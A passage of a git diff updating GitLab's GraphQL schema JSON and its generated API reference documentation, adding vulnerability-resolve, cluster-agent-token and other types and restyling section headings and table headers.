+ "kind": "SCALAR",
+ "name": "UserID",
+ "description": "Identifier of User",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "UserPermissions",
"description": null,
@@ -49608,7 +54571,7 @@
{
"kind": "OBJECT",
"name": "Vulnerability",
- "description": "Represents a vulnerability.",
+ "description": "Represents a vulnerability",
"fields": [
{
"name": "description",
@@ -49625,6 +54588,24 @@
"deprecationReason": null
},
{
+ "name": "detectedAt",
+ "description": "Timestamp of when the vulnerability was first detected",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "id",
"description": "GraphQL ID of the vulnerability",
"args": [
@@ -50077,9 +55058,19 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "VulnerabilityID",
+ "description": "Identifier of Vulnerability",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "VulnerabilityIdentifier",
- "description": "Represents a vulnerability identifier.",
+ "description": "Represents a vulnerability identifier",
"fields": [
{
"name": "externalId",
@@ -50148,7 +55139,7 @@
{
"kind": "OBJECT",
"name": "VulnerabilityIssueLink",
- "description": "Represents an issue link of a vulnerability.",
+ "description": "Represents an issue link of a vulnerability",
"fields": [
{
"name": "id",
@@ -50327,7 +55318,7 @@
{
"kind": "ENUM",
"name": "VulnerabilityIssueLinkType",
- "description": "The type of the issue link related to a vulnerability.",
+ "description": "The type of the issue link related to a vulnerability",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -50962,7 +55953,7 @@
{
"kind": "ENUM",
"name": "VulnerabilityReportType",
- "description": "The type of the security scan that found the vulnerability.",
+ "description": "The type of the security scan that found the vulnerability",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -51007,9 +55998,111 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityResolveInput",
+ "description": "Autogenerated input type of VulnerabilityResolve",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "id",
+ "description": "ID of the vulnerability to be resolveed",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "VulnerabilityID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "VulnerabilityResolvePayload",
+ "description": "Autogenerated return type of VulnerabilityResolve",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "vulnerability",
+ "description": "The vulnerability after state change",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Vulnerability",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "VulnerabilityScanner",
- "description": "Represents a vulnerability scanner.",
+ "description": "Represents a vulnerability scanner",
"fields": [
{
"name": "externalId",
@@ -51287,7 +56380,7 @@
{
"kind": "ENUM",
"name": "VulnerabilitySeverity",
- "description": "The severity of the vulnerability.",
+ "description": "The severity of the vulnerability",
"fields": null,
"inputFields": null,
"interfaces": null,
@@ -51333,8 +56426,31 @@
},
{
"kind": "ENUM",
+ "name": "VulnerabilitySort",
+ "description": "Vulnerability sort values",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "severity_desc",
+ "description": "Severity in descending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "severity_asc",
+ "description": "Severity in ascending order",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
"name": "VulnerabilityState",
- "description": "The state of the vulnerability.",
+ "description": "The state of the vulnerability",
"fields": null,
"inputFields": null,
"interfaces": null,
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index 8ba1862b009..fc27298aff2 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -16,51 +16,62 @@ fields and methods on a model are available via GraphQL.
CAUTION: **Caution:**
Fields that are deprecated are marked with **{warning-solid}**.
-## AccessLevel
+## Object types
-Represents the access level of a relationship between a User and object that it is related to
+Object types represent the resources that GitLab's GraphQL API can return.
+They contain _fields_. Each field has its own type, which will either be one of the
+basic GraphQL [scalar types](https://graphql.org/learn/schema/#scalar-types)
+(e.g.: `String` or `Boolean`) or other object types.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+For more information, see
+[Object Types and Fields](https://graphql.org/learn/schema/#object-types-and-fields)
+on `graphql.org`.
+
+### AccessLevel
+
+Represents the access level of a relationship between a User and object that it is related to.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `integerValue` | Int | Integer representation of access level |
| `stringValue` | AccessLevelEnum | String representation of access level |
-## AddAwardEmojiPayload
+### AddAwardEmojiPayload
-Autogenerated return type of AddAwardEmoji
+Autogenerated return type of AddAwardEmoji.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## AddProjectToSecurityDashboardPayload
+### AddProjectToSecurityDashboardPayload
-Autogenerated return type of AddProjectToSecurityDashboard
+Autogenerated return type of AddProjectToSecurityDashboard.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `project` | Project | Project that was added to the Instance Security Dashboard |
-## AdminSidekiqQueuesDeleteJobsPayload
+### AdminSidekiqQueuesDeleteJobsPayload
-Autogenerated return type of AdminSidekiqQueuesDeleteJobs
+Autogenerated return type of AdminSidekiqQueuesDeleteJobs.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `result` | DeleteJobsResponse | Information about the status of the deletion request |
-## AlertManagementAlert
+### AlertManagementAlert
-Describes an alert from the project's Alert Management
+Describes an alert from the project's Alert Management.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time | Timestamp the alert was created |
| `description` | String | Description of the alert |
| `details` | JSON | Alert details |
@@ -81,12 +92,12 @@ Describes an alert from the project's Alert Management
| `title` | String | Title of the alert |
| `updatedAt` | Time | Timestamp the alert was last updated |
-## AlertManagementAlertStatusCountsType
+### AlertManagementAlertStatusCountsType
-Represents total number of alerts for the represented categories
+Represents total number of alerts for the represented categories.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `acknowledged` | Int | Number of alerts with status ACKNOWLEDGED for the project |
| `all` | Int | Total number of alerts for the project |
| `ignored` | Int | Number of alerts with status IGNORED for the project |
@@ -94,36 +105,36 @@ Represents total number of alerts for the represented categories
| `resolved` | Int | Number of alerts with status RESOLVED for the project |
| `triggered` | Int | Number of alerts with status TRIGGERED for the project |
-## AlertSetAssigneesPayload
+### AlertSetAssigneesPayload
-Autogenerated return type of AlertSetAssignees
+Autogenerated return type of AlertSetAssignees.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `alert` | AlertManagementAlert | The alert after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue created after mutation |
| `todo` | Todo | The todo after mutation |
-## AlertTodoCreatePayload
+### AlertTodoCreatePayload
-Autogenerated return type of AlertTodoCreate
+Autogenerated return type of AlertTodoCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `alert` | AlertManagementAlert | The alert after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue created after mutation |
| `todo` | Todo | The todo after mutation |
-## AwardEmoji
+### AwardEmoji
An emoji awarded by a user.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `description` | String! | The emoji description |
| `emoji` | String! | The emoji as an icon |
| `name` | String! | The emoji name |
@@ -131,48 +142,48 @@ An emoji awarded by a user.
| `unicodeVersion` | String! | The unicode version for this emoji |
| `user` | User! | The user who awarded the emoji |
-## AwardEmojiAddPayload
+### AwardEmojiAddPayload
-Autogenerated return type of AwardEmojiAdd
+Autogenerated return type of AwardEmojiAdd.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## AwardEmojiRemovePayload
+### AwardEmojiRemovePayload
-Autogenerated return type of AwardEmojiRemove
+Autogenerated return type of AwardEmojiRemove.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## AwardEmojiTogglePayload
+### AwardEmojiTogglePayload
-Autogenerated return type of AwardEmojiToggle
+Autogenerated return type of AwardEmojiToggle.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `awardEmoji` | AwardEmoji | The award emoji after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `toggledOn` | Boolean! | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. |
-## BaseService
+### BaseService
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `active` | Boolean | Indicates if the service is active |
| `type` | String | Class name of the service |
-## Blob
+### Blob
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `flatPath` | String! | Flat path of the entry |
| `id` | ID! | ID of the entry |
| `lfsOid` | String | LFS ID of the blob |
@@ -184,12 +195,12 @@ Autogenerated return type of AwardEmojiToggle
| `webPath` | String | Web path of the blob |
| `webUrl` | String | Web URL of the blob |
-## Board
+### Board
-Represents a project or group board
+Represents a project or group board.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `assignee` | User | The board assignee. |
| `hideBacklogList` | Boolean | Whether or not backlog list is hidden. |
| `hideClosedList` | Boolean | Whether or not closed list is hidden. |
@@ -198,12 +209,12 @@ Represents a project or group board
| `name` | String | Name of the board |
| `weight` | Int | Weight of the board. |
-## BoardList
+### BoardList
-Represents a list for an issue board
+Represents a list for an issue board.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `assignee` | User | Assignee in the list |
| `collapsed` | Boolean | Indicates if list is collapsed for this user |
| `id` | ID! | ID (global ID) of the list |
@@ -218,66 +229,115 @@ Represents a list for an issue board
| `title` | String! | Title of the list |
| `totalWeight` | Int | Total weight of all issues in the list |
-## BoardListCreatePayload
+### BoardListCreatePayload
-Autogenerated return type of BoardListCreate
+Autogenerated return type of BoardListCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `list` | BoardList | List of the issue board |
-## BoardListUpdateLimitMetricsPayload
+### BoardListUpdateLimitMetricsPayload
-Autogenerated return type of BoardListUpdateLimitMetrics
+Autogenerated return type of BoardListUpdateLimitMetrics.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `list` | BoardList | The updated list |
-## Branch
+### Branch
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `commit` | Commit | Commit for the branch |
| `name` | String! | Name of the branch |
-## CiGroup
+### BurnupChartDailyTotals
+
+Represents the total number of issues and their weights for a particular day.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `completedCount` | Int! | Number of closed issues as of this day |
+| `completedWeight` | Int! | Total weight of closed issues as of this day |
+| `date` | ISO8601Date! | Date for burnup totals |
+| `scopeCount` | Int! | Number of issues as of this day |
+| `scopeWeight` | Int! | Total weight of issues as of this day |
-| Name | Type | Description |
-| --- | ---- | ---------- |
+### CiGroup
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `name` | String | Name of the job group |
| `size` | Int | Size of the group |
-## CiJob
+### CiJob
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `name` | String | Name of the job |
-## CiStage
+### CiStage
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `name` | String | Name of the stage |
-## ClusterAgent
+### ClusterAgent
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createdAt` | Time | Timestamp the cluster agent was created |
| `id` | ID! | ID of the cluster agent |
| `name` | String | Name of the cluster agent |
| `project` | Project | The project this cluster agent is associated with |
| `updatedAt` | Time | Timestamp the cluster agent was updated |
-## Commit
+### ClusterAgentDeletePayload
+
+Autogenerated return type of ClusterAgentDelete.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### ClusterAgentToken
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clusterAgent` | ClusterAgent | Cluster agent this token is associated with |
+| `createdAt` | Time | Timestamp the token was created |
+| `id` | ClustersAgentTokenID! | Global ID of the token |
+
+### ClusterAgentTokenCreatePayload
+
+Autogenerated return type of ClusterAgentTokenCreate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `secret` | String | Token secret value. Make sure you save it - you won't be able to access it again |
+| `token` | ClusterAgentToken | Token created after mutation |
+
+### ClusterAgentTokenDeletePayload
-| Name | Type | Description |
-| --- | ---- | ---------- |
+Autogenerated return type of ClusterAgentTokenDelete.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### Commit
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `author` | User | Author of the commit |
| `authorGravatar` | String | Commit authors gravatar |
| `authorName` | String | Commit authors name |
@@ -294,40 +354,41 @@ Autogenerated return type of BoardListUpdateLimitMetrics
| `webPath` | String! | Web path of the commit |
| `webUrl` | String! | Web URL of the commit |
-## CommitCreatePayload
+### CommitCreatePayload
-Autogenerated return type of CommitCreate
+Autogenerated return type of CommitCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `commit` | Commit | The commit after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## ComplianceFramework
+### ComplianceFramework
-Represents a ComplianceFramework associated with a Project
+Represents a ComplianceFramework associated with a Project.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `name` | ProjectSettingEnum! | Name of the compliance framework |
-## ConfigureSastPayload
+### ConfigureSastPayload
-Autogenerated return type of ConfigureSast
+Autogenerated return type of ConfigureSast.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-| `result` | JSON | JSON containing the status of MR creation. |
+| `status` | String! | Status of creating the commit for the supplied SAST CI configuration |
+| `successPath` | String | Redirect path to use when the response is successful |
-## ContainerExpirationPolicy
+### ContainerExpirationPolicy
-A tag expiration policy designed to keep only the images that matter most
+A tag expiration policy designed to keep only the images that matter most.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `cadence` | ContainerExpirationPolicyCadenceEnum! | This container expiration policy schedule |
| `createdAt` | Time! | Timestamp of when the container expiration policy was created |
| `enabled` | Boolean! | Indicates whether this container expiration policy is enabled |
@@ -338,155 +399,187 @@ A tag expiration policy designed to keep only the images that matter most
| `olderThan` | ContainerExpirationPolicyOlderThanEnum | Tags older that this will expire |
| `updatedAt` | Time! | Timestamp of when the container expiration policy was updated |
-## CreateAlertIssuePayload
+### CreateAlertIssuePayload
-Autogenerated return type of CreateAlertIssue
+Autogenerated return type of CreateAlertIssue.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `alert` | AlertManagementAlert | The alert after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `issue` | Issue | The issue created after mutation |
| `todo` | Todo | The todo after mutation |
-## CreateAnnotationPayload
+### CreateAnnotationPayload
-Autogenerated return type of CreateAnnotation
+Autogenerated return type of CreateAnnotation.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `annotation` | MetricsDashboardAnnotation | The created annotation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## CreateBranchPayload
+### CreateBranchPayload
-Autogenerated return type of CreateBranch
+Autogenerated return type of CreateBranch.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `branch` | Branch | Branch after mutation |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## CreateClusterAgentPayload
+### CreateClusterAgentPayload
-Autogenerated return type of CreateClusterAgent
+Autogenerated return type of CreateClusterAgent.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `clusterAgent` | ClusterAgent | Cluster agent created after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## CreateDiffNotePayload
+### CreateDiffNotePayload
-Autogenerated return type of CreateDiffNote
+Autogenerated return type of CreateDiffNote.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## CreateEpicPayload
+### CreateEpicPayload
-Autogenerated return type of CreateEpic
+Autogenerated return type of CreateEpic.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `epic` | Epic | The created epic |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## CreateImageDiffNotePayload
+### CreateImageDiffNotePayload
-Autogenerated return type of CreateImageDiffNote
+Autogenerated return type of CreateImageDiffNote.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## CreateIterationPayload
+### CreateIterationPayload
-Autogenerated return type of CreateIteration
+Autogenerated return type of CreateIteration.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `iteration` | Iteration | The created iteration |
-## CreateNotePayload
+### CreateNotePayload
-Autogenerated return type of CreateNote
+Autogenerated return type of CreateNote.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `note` | Note | The note after mutation |
-## CreateRequirementPayload
+### CreateRequirementPayload
-Autogenerated return type of CreateRequirement
+Autogenerated return type of CreateRequirement.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `requirement` | Requirement | The requirement after mutation |
-## CreateSnippetPayload
+### CreateSnippetPayload
-Autogenerated return type of CreateSnippet
+Autogenerated return type of CreateSnippet.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `snippet` | Snippet | The snippet after mutation |
-## DastOnDemandScanCreatePayload
+### CreateTestCasePayload
+
+Autogenerated return type of CreateTestCase.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `testCase` | Issue | The test case created |
+
+### DastOnDemandScanCreatePayload
-Autogenerated return type of DastOnDemandScanCreate
+Autogenerated return type of DastOnDemandScanCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `pipelineUrl` | String | URL of the pipeline that was created. |
-## DastScannerProfile
+### DastScannerProfile
Represents a DAST scanner profile.
-| Name | Type | Description |
-| --- | ---- | ---------- |
-| `id` | ID! | ID of the DAST scanner profile |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `editPath` | String | Relative web path to the edit page of a scanner profile |
+| `globalId` | DastScannerProfileID! | ID of the DAST scanner profile |
+| `id` **{warning-solid}** | ID! | **Deprecated:** Use `global_id`. Deprecated in 13.4 |
| `profileName` | String | Name of the DAST scanner profile |
-| `spiderTimeout` | Int | The maximum number of seconds allowed for the spider to traverse the site |
+| `spiderTimeout` | Int | The maximum number of minutes allowed for the spider to traverse the site |
| `targetTimeout` | Int | The maximum number of seconds allowed for the site under test to respond to a request |
-## DastScannerProfileCreatePayload
+### DastScannerProfileCreatePayload
-Autogenerated return type of DastScannerProfileCreate
+Autogenerated return type of DastScannerProfileCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-| `id` | ID | ID of the scanner profile. |
+| `globalId` | DastScannerProfileID | ID of the scanner profile. |
+| `id` **{warning-solid}** | ID | **Deprecated:** Use `global_id`. Deprecated in 13.4 |
-## DastSiteProfile
+### DastScannerProfileDeletePayload
+
+Autogenerated return type of DastScannerProfileDelete.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
+### DastScannerProfileUpdatePayload
+
+Autogenerated return type of DastScannerProfileUpdate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `id` | DastScannerProfileID | ID of the scanner profile. |
+
+### DastSiteProfile
Represents a DAST Site Profile.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `editPath` | String | Relative web path to the edit page of a site profile |
| `id` | DastSiteProfileID! | ID of the site profile |
| `profileName` | String | The name of the site profile |
@@ -494,68 +587,68 @@ Represents a DAST Site Profile.
| `userPermissions` | DastSiteProfilePermissions! | Permissions for the current user on the resource |
| `validationStatus` | DastSiteProfileValidationStatusEnum | The current validation status of the site profile |
-## DastSiteProfileCreatePayload
+### DastSiteProfileCreatePayload
-Autogenerated return type of DastSiteProfileCreate
+Autogenerated return type of DastSiteProfileCreate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `id` | DastSiteProfileID | ID of the site profile. |
-## DastSiteProfileDeletePayload
+### DastSiteProfileDeletePayload
-Autogenerated return type of DastSiteProfileDelete
+Autogenerated return type of DastSiteProfileDelete.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## DastSiteProfilePermissions
+### DastSiteProfilePermissions
-Check permissions for the current user on site profile
+Check permissions for the current user on site profile.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `createOnDemandDastScan` | Boolean! | Indicates the user can perform `create_on_demand_dast_scan` on this resource |
-## DastSiteProfileUpdatePayload
+### DastSiteProfileUpdatePayload
-Autogenerated return type of DastSiteProfileUpdate
+Autogenerated return type of DastSiteProfileUpdate.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `id` | DastSiteProfileID | ID of the site profile. |
-## DeleteAnnotationPayload
+### DeleteAnnotationPayload
-Autogenerated return type of DeleteAnnotation
+Autogenerated return type of DeleteAnnotation.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-## DeleteJobsResponse
+### DeleteJobsResponse
The response from the AdminSidekiqQueuesDeleteJobs mutation.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `completed` | Boolean | Whether or not the entire queue was processed in time; if not, retrying the same request is safe |
| `deletedJobs` | Int | The number of matching jobs deleted |
| `queueSize` | Int | The queue size after processing |
-## Design
+### Design
-A single design
+A single design.
-| Name | Type | Description |
-| --- | ---- | ---------- |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
| `diffRefs` | DiffRefs! | The diff refs for this design |
| `event` | DesignVersionEvent! | How this design was changed in the current version |
| `filename` | String! | The filename of the design |
@@ -567,13 +660,13 @@ A single design
| `notesCount` | Int! | The total count of user-created notes for this design |
| `project` | Project! | The project the design belongs to |
-## DesignAtVersion
+### DesignAtVersion
A design pinned to a specific version. The image field reflects the design as of the associated version.
-| Name | Type | Description |
-| --- | ---- | ---------- |
-| `design` | Design! | The underlying design. |
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `design` | Design! | The underlying design |
| `diffRefs` | DiffRefs! | The diff refs for this design |
| `event` | DesignVersionEvent! | How this design was changed in the current version |
| `filename` | String! | The filename of the design |
@@ -586,90 +679,100 @@ A design pinned to a specific version. The image field reflects the design as of
| `project` | Project! | The project the design belongs to |
| `version` | DesignVersion! | The version this design-at-versions is pinned to |
-## DesignCollection
+### DesignCollection
A collection of designs.
-| Name | Type | Description |
